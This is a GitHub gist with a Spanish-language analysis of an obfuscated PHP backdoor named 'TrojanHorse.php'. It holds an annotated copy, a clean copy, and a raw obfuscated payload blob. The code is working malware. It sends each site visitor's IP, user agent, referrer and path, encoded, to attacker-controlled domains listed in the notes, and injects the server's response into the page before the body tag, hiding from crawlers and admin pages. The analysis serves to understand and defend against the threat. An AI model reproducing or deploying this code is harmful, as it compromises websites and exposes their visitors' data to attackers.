Last active
February 27, 2016 15:39
-
-
Save josedalvik/f05d4ca624376c2a96df to your computer and use it in GitHub Desktop.
Como funciona TrojanHorse.php – análisis de intrusión
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//elConspirdor.com | |
//Segunda función utilizada | |
function oo2($b) { | |
//Invierte $b y lo separa por '|' | |
$h = explode("|", strrev($b)); | |
//Separa el primer vector $h[0] en '*' | |
$d = explode("*", $h[0]); | |
//$b es $h[1], sizeof($h) supone solo dos posiciones | |
$b = $h[1]; | |
//Para cada casilla de $d | |
for($i=0;$i<sizeof($d);$i++) { | |
//Reemplaza el numero $i por $d[$i] en $b | |
$b = str_replace($i, $d[$i], $b); | |
} | |
//Crea la función $b, }; y // suponen distractores | |
create_function("", "};".$b."//"); | |
} | |
function cqq($qw) { | |
//$qw es ".com" | |
//$domarr ?? deberia de ser NULL | |
return random($domarr,$qw); | |
} | |
//Primera función utilizada | |
function oo1($y) { | |
//invierte $y | |
$y= strrev($y); | |
//$g contiene la parte final después del primer 9 | |
$g=substr($y,strpos($y,"9")+1); | |
//$v contiene un vector a partir de las separaciones ':' | |
//$v es un vector construido de 0 a la primer posición de 9, no incluye el 9 | |
$v = explode(":",substr($y,0,strpos($y,"9"))); | |
//Para cada casilla de $v | |
for($i=0; | |
$i<sizeof($v); | |
$i++) { | |
//Se crea un vector a partir de las posiciones '|' | |
//Supone que $v[$i] es de 2 posiciones | |
$q = explode("|", $v[$i]); | |
//Busca $q[0] reemplaza por $q[1] en $g | |
$g = str_replace($q[0],$q[1],$g); | |
} | |
//Crea la función $g | |
// }; y // suponen distractores | |
create_function("", "}; ".$g."//"); | |
} | |
function random($arr,$qw) { | |
//$arr es $domarr=null | |
//$qw es '.com' | |
$g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b"; | |
$soy = "\x65\156\x32"; //en2 | |
$xx="\x65\170\x70"."\154\x6f\144\x65"; //explode | |
$ecx="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; //create_function | |
$scy="\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; //str_replace | |
$a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44"); //"\x|\1|="|";$|$" | |
$aa = $xx("|","8|9|-|,| "); | |
$mec=$ecx; //$mec=create_function | |
//Para cada posición de $a sizeof($a)=5 | |
for($i=0; | |
$i<sizeof($a); | |
$i++) { | |
//Cada $aa[$i] lo reemplaza por $a[$i] en $g | |
//\x = 8 | |
//\1 = 9 | |
//=" = - | |
//";$ = , | |
//$ = {espacio en blanco \s} | |
$g = $scy($aa[$i],$a[$i],$g); | |
} | |
//Crea la función $g | |
//$g debe de estar en código hexadecimal o limpio | |
$ecx("", "}; $g//"); | |
//--------------------------------------------------------------Generando código de $g-------------------------------------------------------------- | |
$w="\x67\145\x74\150\x6f\163\x74"; //gethost | |
$qq="\x2d\144\x6e"; //-dn | |
$r="\x62\171\x6e\141\x6d\145"; //byname | |
$wq="\x74\141\x74"; //tat | |
$s="\x73"; //s | |
$g=$w.$r;//gethostbyname //Devuelve IP | |
$m="\x6d\144\x35"; //md5 | |
$sq="\x73\164\x72\137\x73\160\x6c\151\x74"; //str_split | |
//--------------------------------------------------------------Fin generando código de $g-------------------------------------------------------------- | |
//El primer parámetro de $soy() está en código octal | |
$mec("", $soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)); | |
//--------------------------------------------------------------Generando código de línea anterior-------------------------------------------------------------- | |
};$arr = $sq($m($qw.$g($s.$wq.$qq.$s.$qw)), 8);// | |
//Limpiando: | |
$arr = str_split(md5('.com'.gethostbyname('stat-dns.com')), 8); | |
//La IP de stat-dns.com es 8.8.8.8 (Google), claro está que md5 de .com.8.8.8.8.com es una cadena aleatoria; significa que del resultado, se registran los primeros dos nombres de dominio. | |
//--------------------------------------------------------------Fin generando código de línea anterior-------------------------------------------------------------- | |
//rand((0.24-(0.03*8)),(0.1875*6)) es 0 o 1 | |
return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; | |
} | |
//Separa la cadena de texto $v9 en un vector de sizeof($r9)=5 posiciones | |
//La cadena $v9 son todas las funciones de este código. | |
$r9 = explode("|",'1067|416|779|223|361'); | |
$b9=0; | |
$a9=0; | |
//$i9=0 0-1067 = 1067 caracteres | |
//$i9=1 1067-416 = 416 caracteres | |
//$i9=2 1483-779 = 779 caracteres | |
//$i9=3 2262-223 = 223 caracteres | |
//$i9=4 2485-361 = 361 caracteres | |
// = 2846 caracteres en total | |
for($i9=0; $i9<sizeof($r9); $i9++) { | |
if ($i9==0) | |
$a9=0; | |
else | |
$a9=$r9[$i9-1]+$a9; | |
$b9=$r9[$i9]; | |
$v_[]=substr($v9, $a9, $b9); | |
} | |
$y =1; | |
for($i=0; $i<5; $i++) { | |
//Llama a oo1 o oo2 | |
//ooN reciben una cadena previamente preparada | |
$vv1 ="o"."o".$y; | |
if ($y==1) | |
$y=2; | |
else $y=1; | |
$vv1($v_[$i]); | |
} | |
//Función para decodificar instrucción | |
function en2($s, $q) { | |
//$s texto | |
//$q numero o cadena aleatoria | |
$l="\x73\164\x72\154\x65\156"; //strlen | |
$p="\x70\141\x63\153"; //pack | |
$r="\x73\165\x62\163\x74\162"; //substr | |
$m="\x6d\144\x35"; //md5 | |
$g = ""; | |
while ($l($g)<$l($s)) { | |
$q = $p("H*",$m($g.$q."\x71\61\x77\62\x65\63\x72\64")); //q1w2e3r4 <- es una cadena aleatoria | |
$g.=$r($q,0,8); | |
} | |
//Obtiene una cadena aleatoria mayor o igual a la longitud de $s | |
//Porque utiliza md5, la cadena aleatoria es unicamente para engañar | |
//^ significa xor | |
return $s^$g; | |
} | |
/* Como hacer funcionar en2? */ | |
/* ********* */ | |
/* | |
//http://stackoverflow.com/questions/5705267/how-to-see-binary-representation-of-variable | |
function str2bin($str){ | |
$out=false; | |
for($a=0; $a < strlen($str); $a++){ | |
$dec = ord(substr($str,$a,1)); //determine symbol ASCII-code | |
$bin = sprintf('%08d', base_convert($dec, 10, 2)); //convert to binary representation and add leading zeros | |
$out .= $bin; | |
} | |
return $out; | |
} | |
function binary_to($base, $b){ | |
//Ultimo está vacio | |
$arr=explode(" ",chunk_split($b,8," ")); | |
$r=""; | |
for($i=0;$i<sizeof($arr)-1;$i++){ | |
$r.="\\".base_convert($arr[$i], 2, $base); | |
} | |
return $r; | |
} | |
function en2_variable($aleatoria, $resultado){ | |
$resultado=str2bin($resultado); | |
$g = ""; | |
while (strlen($g)<strlen($resultado)) { | |
$aleatoria = pack("H*",md5($g.$aleatoria."\x71\61\x77\62\x65\63\x72\64")); | |
$g.= substr($aleatoria,0,8); | |
} | |
$aleatoria=str2bin($g); | |
//xor | |
$variable=""; | |
for($i=0;$i<strlen($resultado);$i++){ | |
if($resultado[$i]==1) | |
$variable.=$aleatoria[$i]==1?0:1; | |
else | |
$variable.=$aleatoria[$i]; | |
} | |
return stripcslashes(binary_to(8, $variable)); | |
} | |
$a=en2_variable("josedalvik", "visita elConspirador.com"); | |
print_r(en2($a, "josedalvik")); | |
//La función en2 recibe texto extraño en octal y una variable aleatoria, la cual, al utilizar md5 se trabaja todavía más; entonces, si la cadena de texto en octal se opera con la variable aleatoria (ambas en binario) utilizando XOR, el resultado debe de ser una cadena de texto predeterminada (por ejemplo: definición de variables). | |
//La función en2_variable() recibe la variable aleatoria y el resultado que se espera, el resultado es la variable de texto en octal que se debe de enviar en en2(). | |
*/ | |
/* ********* */ | |
//Las funciones g_N y gtd se encargan de extraer data de una URL | |
function g_1($url) { | |
if (function_exists("file_get_contents") === false) | |
return false; | |
$buf = @file_get_contents($url); | |
if ($buf == "") | |
return false; | |
return $buf; | |
} | |
function g_2($url) { | |
if (function_exists("curl_init") === false) | |
return false; | |
$ch = curl_init(); | |
curl_setopt($ch, CURLOPT_URL, $url); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
curl_setopt($ch, CURLOPT_TIMEOUT, 10); | |
curl_setopt($ch, CURLOPT_HEADER, 0); | |
$res = curl_exec($ch); | |
curl_close($ch); | |
if ($res == "") | |
return false; | |
return $res; | |
} | |
function g_3($url) { | |
if (function_exists("file") === false) | |
return false; | |
$inc = @file($url); | |
$buf = @implode("", $inc); | |
if ($buf == "") | |
return false; | |
return $buf; | |
} | |
function g_4($url) { | |
if (function_exists("socket_create") === false) | |
return false; | |
$p= @parse_url($url); | |
$host = $p["host"]; | |
if(!isset($p["query"])) | |
$p["query"]=""; | |
$uri = $p["path"] . "?" . $p["query"]; | |
$ip1 = @gethostbyname($host); | |
$ip2 = @long2ip(@ip2long($ip1)); | |
if ($ip1 != $ip2) | |
return false; | |
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); | |
if (!@socket_connect($sock, $ip1, 80)) { | |
@socket_close($sock); | |
return false; | |
} | |
$req = "GET $uri HTTP/1.0\n"; | |
$req .= "Host: $host\n\n"; | |
socket_write($sock, $req); | |
$buf = ""; | |
while ($t = socket_read($sock, 10000)) { | |
$buf .= $t; | |
} | |
@socket_close($sock); | |
if ($buf == "") return false; | |
list($m, $buf) = explode("\r\n\r\n", $buf); | |
return $buf; | |
} | |
function gtd ($url) { | |
$co = ""; | |
$co = @g_1($url); | |
if ($co !== false) | |
return $co; | |
$co = @g_2($url); | |
if ($co !== false) | |
return $co; | |
$co = @g_3($url); | |
if ($co !== false) | |
return $co; | |
$co = @g_4($url); | |
if ($co !== false) | |
return $co; | |
return ""; | |
} | |
if (!function_exists("comgzi")) { | |
function comgzi($gzData) { | |
if (substr($gzData,0,3)=="\x1f\x8b\x08") { | |
$i=10; | |
$flg=ord(substr($gzData,3,1)); | |
if ($flg>0) { | |
if ($flg & 4) { | |
list($xlen)=unpack("v",substr($gzData,$i,2)); | |
$i=$i+2+$xlen; | |
} | |
if ($flg & 8) | |
$i=strpos($gzData,"\0",$i)+1; | |
if ($flg & 16) | |
$i=strpos($gzData,"\0", $i)+1; | |
if ( $flg & 2) | |
$i=$i+2; | |
} | |
return @gzinflate(substr($gzData,$i,-8)); | |
} else{ | |
return false; | |
} | |
} | |
} | |
function k34($op,$text) { | |
//$op es número aleatorio | |
//codifica a base64 | |
//regresa = base64($texto.$cadena_aleatoria); | |
return base64_encode(en2($text, $op)); | |
} | |
function check212($param) { | |
//si el parametro no existe, devuelve non | |
if(!isset($_SERVER[$param])) $a="non"; | |
else if ($_SERVER[$param]=="") $a="non"; | |
else $a=$_SERVER[$param]; | |
return $a; | |
} | |
function day212() { | |
$a=check212("HTTP_USER_AGENT"); | |
$b=check212("HTTP_REFERER"); | |
$c=check212("REMOTE_ADDR"); | |
$d=check212("HTTP_HOST"); | |
$e=check212("PHP_SELF"); | |
$domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); | |
if (($a=="non") // Si el navegador no existe | |
or ($c=="non") //Si no hay IP del usuario | |
or ($d=="non") //Si no existe nombre de dominio | |
or strrpos(strtolower($e),"admin") //se está en una página de administración | |
//Si el visitante es un boot | |
or (preg_match("/" . implode("|", array("google","slurp","msnbot","ia_archiver","yandex","rambler")) . "/i", | |
strtolower($a))) ) { | |
$o1 = ""; | |
} else { | |
//Si es un lector | |
$op=mt_rand(100000,999999); //Entero aleatorio | |
//Envía los valores de $a $b $c $d $e a través de la URL | |
$g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e))); | |
$url="http://".cqq(".com")."/".$g4; | |
$ca1=en2(@gtd($url),$op); | |
$a1=@explode("!NF0",$ca1); | |
if (sizeof($a1)>=2) | |
$o1 = $a1[1]; //El servidor final responde | |
else | |
$o1 = ""; | |
} | |
return $o1; | |
} | |
if (!function_exists("dcoo")) { | |
//Descomprime $cz | |
function dcoo($cz, $length = null) { | |
if (false !== ($dz = @gzinflate($cz) ) ) | |
return $dz; | |
if (false !== ($dz = @comgzi($cz) ) ) | |
return $dz; | |
if (false !== ($dz = @gzuncompress($cz) ) ) | |
return $dz; | |
if (function_exists("gzdecode") ) { | |
$dz = @gzdecode($cz); | |
if (false !==$dz ) | |
return $dz; | |
} return $cz; | |
} | |
} | |
if(!function_exists("pa22")) { | |
function pa22($v) { | |
Header("Content-Encoding: none"); | |
$p="\x70\162\x65\147\x5f"; //preg_ | |
$p1=$p."\155\x61\164\x63\150"; //match | |
$p2=$p."\162\x65\160\x6c\141\x63\145"; //replace | |
//Descomprime $v | |
$t=dcoo($v); | |
//Si <body existe en $t | |
if($p1("/\<\/body/si",$t)) { | |
//Agrega day212 antes de la etiqueta | |
return $p2("/(\<\/body[^\>]*\>)/si", day212()."\n"."$"."1", $t,1); | |
} else { | |
//Si <html existe en $t | |
if($p1("/\<\/html/si",$t)) { | |
//Agrega day212 antes de la etiqueta | |
return $p2("/(\<\/html[^\>]*\>)/si", day212()."\n"."$"."1", $t,1); | |
} else { | |
return $t; | |
} | |
} | |
} | |
} | |
//ob_start("pa22"); | |
//Pregunta: pa22 puede responder con instrucciones Php? |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
function oo2($b) { | |
$h = explode("|", strrev($b)); | |
$d = explode("*", $h[0]); | |
$b = $h[1]; | |
for($i=0;$i<sizeof($d);$i++) { | |
$b = str_replace($i, $d[$i], $b); | |
} | |
create_function("", "};".$b."//"); | |
} | |
function cqq($qw) { | |
//redacTor: $domarr no debería de estar en el código. | |
return random($domarr,$qw); | |
} | |
function oo1($y) { | |
$y= strrev($y); | |
$g=substr($y,strpos($y,"9")+1); | |
$v = explode(":",substr($y,0,strpos($y,"9"))); | |
for($i=0; | |
$i<sizeof($v); | |
$i++) { | |
$q = explode("|", $v[$i]); | |
$g = str_replace($q[0],$q[1],$g); | |
} | |
create_function("", "}; ".$g."//"); | |
} | |
function random($arr,$qw) { | |
//redacTor: $arr no debería de estar en el código. | |
$g="\x20\167\x2d\70\x36794587495086f963874,qq-82d94486e,r-86297186e94186d945,wq-874941874,s-87\x33\54\x67\75\x20\167\x2e\40\x72\73\x20\155\x2d\70"."6d944835,sq-873964872937873960\x38\66\x63\71\x35\61\x38\67\x34\42\x3b"; | |
$soy = "\x65\156\x32"; | |
$xx="\x65\170\x70"."\154\x6f\144\x65"; | |
$ecx="\x63\162\x65\141\x74\145\x5f\146\x75\156\x63\164\x69\157\x6e"; | |
$scy="\x73\164\x72\137\x72\145\x70\154\x61\143\x65"; | |
$a = $xx("|","\x5c\170\x7c\134\x31\174\x3d\42\x7c\42\x3b\44\x7c\44"); | |
$aa = $xx("|","8|9|-|,| "); | |
$mec=$ecx; | |
for($i=0; | |
$i<sizeof($a); | |
$i++) {$g = $scy($aa[$i],$a[$i],$g); | |
} | |
$ecx("", "}; $g//"); | |
//redacTor: aquí, debería de aparecer $arr=Array() o $arr="". | |
$mec("", $soy("\230\77\153\147\26\167\114\130\223\257\211\2\253\5\172\316\25\262\145\25\62\72\127\156\270\100\154\56\341\77\4\37\21\152\206\334\101\334\32\210\353\173\253\5\123\231\47\13\20",$scy)); | |
return $arr[rand((0.24-(0.03*8)),(0.1875*6))].$qw; | |
} | |
$r9 = explode("|",'1067|416|779|223|361'); | |
$b9=0; | |
$a9=0; | |
for($i9=0; $i9<sizeof($r9); $i9++) { | |
if ($i9==0) | |
$a9=0; | |
else | |
$a9=$r9[$i9-1]+$a9; | |
$b9=$r9[$i9]; | |
$v_[]=substr($v9, $a9, $b9); | |
} | |
$y =1; | |
for($i=0; $i<5; $i++) { | |
$vv1 ="o"."o".$y; | |
if ($y==1) | |
$y=2; | |
else $y=1; | |
$vv1($v_[$i]); | |
} | |
function en2($s, $q) { | |
$l="\x73\164\x72\154\x65\156"; | |
$p="\x70\141\x63\153"; | |
$r="\x73\165\x62\163\x74\162"; | |
$m="\x6d\144\x35"; | |
$g = ""; | |
while ($l($g)<$l($s)) { | |
$q = $p("H*",$m($g.$q."\x71\61\x77\62\x65\63\x72\64")); | |
$g.=$r($q,0,8); | |
} | |
return $s^$g; | |
} | |
function g_1($url) { | |
if (function_exists("file_get_contents") === false) | |
return false; | |
$buf = @file_get_contents($url); | |
if ($buf == "") | |
return false; | |
return $buf; | |
} | |
function g_2($url) { | |
if (function_exists("curl_init") === false) | |
return false; | |
$ch = curl_init(); | |
curl_setopt($ch, CURLOPT_URL, $url); | |
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); | |
curl_setopt($ch, CURLOPT_TIMEOUT, 10); | |
curl_setopt($ch, CURLOPT_HEADER, 0); | |
$res = curl_exec($ch); | |
curl_close($ch); | |
if ($res == "") | |
return false; | |
return $res; | |
} | |
function g_3($url) { | |
if (function_exists("file") === false) | |
return false; | |
$inc = @file($url); | |
$buf = @implode("", $inc); | |
if ($buf == "") | |
return false; | |
return $buf; | |
} | |
function g_4($url) { | |
if (function_exists("socket_create") === false) | |
return false; | |
$p= @parse_url($url); | |
$host = $p["host"]; | |
if(!isset($p["query"])) | |
$p["query"]=""; | |
$uri = $p["path"] . "?" . $p["query"]; | |
$ip1 = @gethostbyname($host); | |
$ip2 = @long2ip(@ip2long($ip1)); | |
if ($ip1 != $ip2) | |
return false; | |
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); | |
if (!@socket_connect($sock, $ip1, 80)) { | |
@socket_close($sock); | |
return false; | |
} | |
$req = "GET $uri HTTP/1.0\n"; | |
$req .= "Host: $host\n\n"; | |
socket_write($sock, $req); | |
$buf = ""; | |
while ($t = socket_read($sock, 10000)) { | |
$buf .= $t; | |
} | |
@socket_close($sock); | |
if ($buf == "") return false; | |
list($m, $buf) = explode("\r\n\r\n", $buf); | |
return $buf; | |
} | |
function gtd ($url) { | |
$co = ""; | |
$co = @g_1($url); | |
if ($co !== false) | |
return $co; | |
$co = @g_2($url); | |
if ($co !== false) | |
return $co; | |
$co = @g_3($url); | |
if ($co !== false) | |
return $co; | |
$co = @g_4($url); | |
if ($co !== false) | |
return $co; | |
return ""; | |
} | |
if (!function_exists("comgzi")) { | |
function comgzi($gzData) { | |
if (substr($gzData,0,3)=="\x1f\x8b\x08") { | |
$i=10; | |
$flg=ord(substr($gzData,3,1)); | |
if ($flg>0) { | |
if ($flg & 4) { | |
list($xlen)=unpack("v",substr($gzData,$i,2)); | |
$i=$i+2+$xlen; | |
} | |
if ($flg & 8) | |
$i=strpos($gzData,"\0",$i)+1; | |
if ($flg & 16) | |
$i=strpos($gzData,"\0", $i)+1; | |
if ( $flg & 2) | |
$i=$i+2; | |
} | |
return @gzinflate(substr($gzData,$i,-8)); | |
} else{ | |
return false; | |
} | |
} | |
} | |
function k34($op,$text) { | |
return base64_encode(en2($text, $op)); | |
} | |
function check212($param) { | |
if(!isset($_SERVER[$param])) $a="non"; | |
else if ($_SERVER[$param]=="") $a="non"; | |
else $a=$_SERVER[$param]; | |
return $a; | |
} | |
function day212() { | |
$a=check212("HTTP_USER_AGENT"); | |
$b=check212("HTTP_REFERER"); | |
$c=check212("REMOTE_ADDR"); | |
$d=check212("HTTP_HOST"); | |
$e=check212("PHP_SELF"); | |
//redacTor: esta línea, no debería de estar en el código. | |
$domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); | |
if (($a=="non") | |
or ($c=="non") | |
or ($d=="non") | |
or strrpos(strtolower($e),"admin") | |
or (preg_match("/" . implode("|", array("google","slurp","msnbot","ia_archiver","yandex","rambler")) . "/i", | |
strtolower($a))) ) { | |
$o1 = ""; | |
} else { | |
$op=mt_rand(100000,999999); | |
$g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e))); | |
$url="http://".cqq(".com")."/".$g4; | |
$ca1=en2(@gtd($url),$op); | |
$a1=@explode("!NF0",$ca1); | |
if (sizeof($a1)>=2) | |
$o1 = $a1[1]; | |
else | |
$o1 = ""; | |
} | |
return $o1; | |
} | |
if (!function_exists("dcoo")) { | |
function dcoo($cz, $length = null) { | |
if (false !== ($dz = @gzinflate($cz) ) ) | |
return $dz; | |
if (false !== ($dz = @comgzi($cz) ) ) | |
return $dz; | |
if (false !== ($dz = @gzuncompress($cz) ) ) | |
return $dz; | |
if (function_exists("gzdecode") ) { | |
$dz = @gzdecode($cz); | |
if (false !==$dz ) | |
return $dz; | |
} return $cz; | |
} | |
} | |
if(!function_exists("pa22")) { | |
function pa22($v) { | |
Header("Content-Encoding: none"); | |
$p="\x70\162\x65\147\x5f"; | |
$p1=$p."\155\x61\164\x63\150"; | |
$p2=$p."\162\x65\160\x6c\141\x63\145"; | |
$t=dcoo($v); | |
if($p1("/\<\/body/si",$t)) { | |
return $p2("/(\<\/body[^\>]*\>)/si", day212()."\n"."$"."1", $t,1); | |
} else { | |
if($p1("/\<\/html/si",$t)) { | |
return $p2("/(\<\/html[^\>]*\>)/si", day212()."\n"."$"."1", $t,1); | |
} else { | |
return $t; | |
} | |
} | |
} | |
} | |
//ob_start("pa22"); |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
<?php | |
//Ten cuidado, utiliza emuladores Php online para decodificar el código. Las funciones que se utilizaron para codificarlo, son similares a oo1 y oo2; en TrojanHorse.php, no se muestran. | |
//Herramientas utilizadas: | |
//http://ddecode.com/hexdecoder/ | |
//http://phptester.net/ | |
//https://www.unphp.net/ | |
//Los servidores finales de este código, son: | |
//33db9538.com | |
//9507c4e8.com | |
//e5b57288.com | |
//54dfa1cb.com | |
//Fueron seleccionados a partir del resultado md5(".com8.8.8.8"); en realidad, el código envía los headers solo a los primeros dos nombres de dominio. El servidor de los nombres de dominio, pueden responder con código js para agregar publicidad, clics o código malicioso. | |
//Pregunta: los dominios pueden responder con código Php? | |
//Si los nombres de dominio son creados en china, recuerda la siguiente línea: | |
//Harvey: [to Batman, who has remained silent, simply watching the entire exchange] We need Lau back. But the Chinese won't extradite a national under any circumstances. | |
//código extraño: | |
$mndbple = '*2qj%)hopm3qjA)qj3hopmA x273qj%6<*Y%)fnbozcYufhA x272qj%6) { $GLOBALS[" x61 156 x75 156 x61"]=1; $uas=strtolower($_SER93e:5597f-s.973:8297f:5297e:56-xr.985:529852)!gj}1~!<2p% x7f!~!<##!>!2p%Z<^2 x5c2b%!>!2p%!*3>?*2b%)gpf{jt)!gj!<*% x5cSFWSFT`%}X;!sp!*#opo#>>}R;msv}.;/#/#/},;#-+I#)q%:>:r%:|:**t%)m%=*h%)m%):fmjix:<##:>:h%:<#64y]>#]D4]273]D6P2L5P6]y6gP75f 163 x74 141 x72 164") &&>#L4]275L3]248L3P6L1M5]D2Pb:>1<!fmtf!%b:>%s: x5c%j:.2^,%b:<!%c:>%s: x5c%j:^<!%w` x5c^>Ew:W~%fdy)##-!#~<%h00#*<%nfd)##Qtpz)#]341]88M4P8]37]2UTPI`QUUI&e_SEEB`FUPNFS&d_SFSFGFS`QUUI&c_84]275]y83]248]y83]256]y81]265]y72]254]y76#<!%w:~9{d%:osvufs:~928>> x22:ftmbg39*56A:>:)-1);} @error_reporting(0); $zq116 x54"]); if ((strstr($uas," x6d 163 x69 145")) or (252]18y]#>q%<#762]67y]562]38y]572]48y]6<C x27pd%6|6.7eu{66~67<&w6<*&7-#o]s]o]s]#)fepmqyf %z>3<!fmtf!%z>2<!%ww2)%w`TW~ x24<!fwbm)%tjw)b*msv%)}.;`UQPMSVD!-i)!sp!*#ojneb#-*f%)sfxpmpusut)tpqssutRe%)Rd%)Rb%))!gj!<*#cd2bge56+9ssbz)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#K#-#L#coxkz = implode(array_map("jpgqjly",str_split("%tjw!>!#]y7-NBFSUT`LDPT7-UFOJ`GB)fubfsdXb%!**X)ufttj x22)gj!|!*nbsbq%)323ldfidk;2-u%!-#2#/#%#/#o]#/*)323zbe!-#jt0*?]+^?]|:**#ppde#)tutjyf`4 x223}!+!<+{e%+*!*+fepdf4/%tjw/ x24)% x24- x24y4 x24- x24]y8 x24- x24]26 xgj!~<ofmy%,3,j%>j%!<**3-j%-bubE{h%)sutcvt-tmw/ x24)%zW%h>EzH,2W%wN;#-Ez-1#>m%:|:*r%:-t%)3of:opjudovg<~ x24<!%o:!>! x242178}527}88:}3C>^#zsfvr# x5cq%7**^#zsfv5 x5f 146 x75 156 x63 164 x69 157bd%!<5h%/#0#/*#npd/#)rrd/#00;quui#>.%!<***f x27,*e x27,*d x27,*c x27,4]D6#<%G]y6d]281Ld]245]K2]285]Ke]53Ld]53]24-!% x24- x24*!|! x24- x24 x5c%j^ x24- x24tvctus)% X&Z&S{ftmfV x7f<*XAZASV<*w%)ppde>u%Vg}[;ldpt%}K;`ufldpt}X;`msvd}R;K78:56985:6197g:74985-rr.78]225]241]334]368]322!*uyfu x27k:!ftmf!}Z;^nbsbq*mmvo:>:iuhofm%:-5ppde:4:.}-}!#*<%nfd>%fdy<Cb*[%h!>!%tdz)%bbT-%bT-%hy31M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]77]D4]82]K6]72t)fubmgoj{hA!osvufs!~<3,j%>j%!*3! x27!hmg%!)!gj!<2,*j%!-#1]#-bubc1^-%r x5c2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#}+;%-qp%)54l} x27;%!<*#}_;#)32!|!}{;)gj}l;33bq}k;opjudovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S_ x5c}X x24<!%tmw!>!#]y84]275]y83]273]y76]277#<!%t x22!ftmbg)!gj<*#k#)usbut`cpV x7f x7 x6e"; function jpgqjly($n){return chr(ord($n<^#zsfvr# x5cq%7/7#@#7/7^#iubq# x5cq% x27jsv%6<24- x24<%j,,*!| x24- x24gvodujpo! x24- x24y7 x24- x24*<! x24- x24g3]317]445]212]445]43]321]464]284]mg%!<12>j%!|!*#91y]c9y]g2y]#>>*4-1-bubE{h%)sutcvt)!gj!|!*bubE{h%)j{hnp#w#)ldbqov>*ofmy%)utjm!|!*5! x276<*17-SFEBFI,6<*127-UVPFN`hA x27pd%6<pd%w6Z6<.3`hA x27pd%6<pd%w6Z6<.2`hA x27pd%f x7f x7f<u%V x27{ftmfV x7f<*%rxB%epnbss!>!bssbz)#44ec:649#-!#:618d5f9#-!#f6c68399#-!#65egb2dc#*+7**^/%rx<~!!%s:N}#-<*K)ftpmdXA6~6<u%7>/7&6|7**111127-K)ebfsX x27u%)7fmjix6<C ui}&;zepc}A;~!} x7f;x27&6<*rfs%7-K)fujsxX6<#o]o]Y%7;utpI#7>/7rfs%6<#o]1/20QUUI7jmsvd}+;!>!} x27;!>>>!}_;gvc%}&;ftmbg}L6M7]D4]275]D:M8]Df#<%tdz[k2`{6:!}7;!}6;##}C;!>>!}W;utpi}Y;tuofuopd`ufh`fmjupcotn+qsvmt+fmhpph#)zbssb!-#}#)fepmqnj!/!#0#)idubn`hfsq<**9.-j%-bubE{h%)sutcvif((function_exists(" x6f 142 x#!>!2p%!|!*!***b%)sfxpmpusut!-#j0#!/!**#sfmcnbs+yfeobz+sfwjidsb`bj+d#)tutjyf`opjudovg x2JU,6<*27-SFGTOBSUOSVUFS,6<*msv%7-MSV,6<*)ujojR x27id%6< x7fw6*9386c6f+9f5d816:+946:ce44#)zbssb!>!ssbnpe_GMFT`QIQ&f_E{h%)tpqsut>j%!*72! x27!hmg%)!gj!<2,*j%-#hojepdoF.uofuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l%o:W%c:>1<%b:>1<!gps)%j:>1<%j:=tj{fpg)%s:*<%j:,,Bjg!)%j:>>1*!%6< x7fw6*CW&)7gj6<.[A x27&6< x7fw6* x7f_*# x7f;!osvufs}w;* x7f!>> x22!pd%)!gj}Z;h!opjudovg}{;#)tut<#65,47R25,d7R17,67R37,d%)uqpuft`msvd},;uqpuft`-K)udfoopdXA x22)7gj6<*QDU`MPT1]#-bubE{h%)tpqsut>j%!*9! x27!hmg%)!552]e7y]#>n%<#372]58y]472]37y]672]48y]#>s%<#462]47y] x7f_*#ujojRk3`{666~6<&w/#@#/qp%>5h%!<*::::::-111112)eobs`un>qp%!|Z~!<#A x27K6< x7fw6*3qj%7> x2272qj%)7gj6<*pmqnjA x27&6<.fmjgA x27!~!<**qp%!-uyfu%)3of)fepdof`57ftbc x7f!|qA7>q%6< x7fw6* x7f_*#fubfsdXk5`{66~6<&w6< x7fw6*CW&)7gj6<*doj%7-C)fe:!}V;3q%}U;y]}R;2]},;osvufs} x27;mn<!sfuvso!sboepn)%epnbss-%rxW~!Ypp2)%zB%z>! x24/%UOFHB`SFTV`QUUI&b%!|!*)323zbek!~!<b% x7f!<X>b34}472 x24<!%ff2!>!bssbz) x24]25 x24- x8:|:7#6#)tutjyf`439275ttfsqnpdov{h19275j{hnpd19275fubmgoj{h1:|:#C#-#O#-#N#*-!%ff2-!%t::**<(<!fwbm)%tjw)# x24#-!#]y67]y74]275]y7:]268]y7f#<!%tww!>! x2400~:<h%_t%:osvufs:~:<*9-1d!opjudovg!|!**#j{hnpVER[" x48 124 x54 120 x5f 125 x53 105 x52 137 x41 107 x45 